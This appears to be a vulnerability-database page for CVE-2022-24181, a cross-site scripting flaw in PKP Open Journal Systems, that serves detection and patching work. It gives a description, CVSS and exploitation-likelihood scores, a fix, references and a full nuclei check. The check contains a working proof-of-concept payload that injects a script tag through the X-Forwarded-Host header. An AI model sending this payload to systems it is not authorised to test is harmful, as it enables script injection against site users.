HexBrain

Browse / CVEs / CVE-2022-24181

CVE-2022-24181· public knowledge project / open journal systems· CWE-79

PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6.1%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET /iupjournals/index.php/esj
Positive when: contains "<script>alert(document.domain)</script><x=\".com/iupjournals" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-24181 -u <target>

The full check
id: CVE-2022-24181

info:
  name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
  author: lucasljm2001,ekrause
  severity: medium
  description: |
    PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/50881
    - https://github.com/pkp/pkp-lib/issues/7649
    - https://youtu.be/v8-9evO2oVg
    - https://nvd.nist.gov/vuln/detail/cve-2022-24181
    - https://github.com/comrade99/CVE-2022-24181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24181
    cwe-id: CWE-79
    epss-score: 0.0608
    epss-percentile: 0.93463
    cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: public_knowledge_project
    product: open_journal_systems
    shodan-query: cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"
  tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project,vuln

http:
  - raw:
      - |
        GET /iupjournals/index.php/esj HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: foo"><script>alert(document.domain)</script><x=".com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script><x=".com/iupjournals'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from